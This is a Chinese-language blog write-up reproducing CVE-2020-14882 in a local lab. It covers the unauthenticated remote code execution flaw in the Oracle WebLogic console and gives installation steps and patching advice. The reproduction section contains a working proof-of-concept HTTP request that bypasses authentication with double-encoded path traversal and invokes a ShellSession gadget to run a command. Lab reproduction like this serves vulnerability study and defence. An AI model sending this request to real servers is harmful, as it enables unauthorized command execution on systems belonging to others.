CVE-2020-14882 weblogic 未授权命令执行复现
0x01WebLogic简介
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
WebLogic是美商Oracle的主要产品之一,是并购BEA得来。是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出WebLogic Portal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。
0x02漏洞简介
未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限。
0x03靶机环境
Win7 x64
java版本1.8.0_181
weblogic版本 12.2.1.4
0x04漏洞环境搭建:
1. 复现环境下载:
https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
2.以管理员运行cmd,cd到安装包目录,输入java -jar fmw_12.2.1.4.0_wls_lite_generic.jar启动安装
3. 默认下一步,这里选择含示例的完整安装包
4. 访问http://127.0.0.1:7001/console
出现如下登录页面即安装成功
0x05漏洞复现:
通过非法字符绕过访问,然后通过Gadget调用命令执行,poc如下
GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); HTTP/1.1 Host: 192.168.1.111:7001
1.URL直接请求或者burp抓包使用都可
2. 关于whoami等命令无法回显的问题,我这里向乐神请教的poc,已解决
0x06修复建议
下载最新补丁
Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。
关注公众号支持一波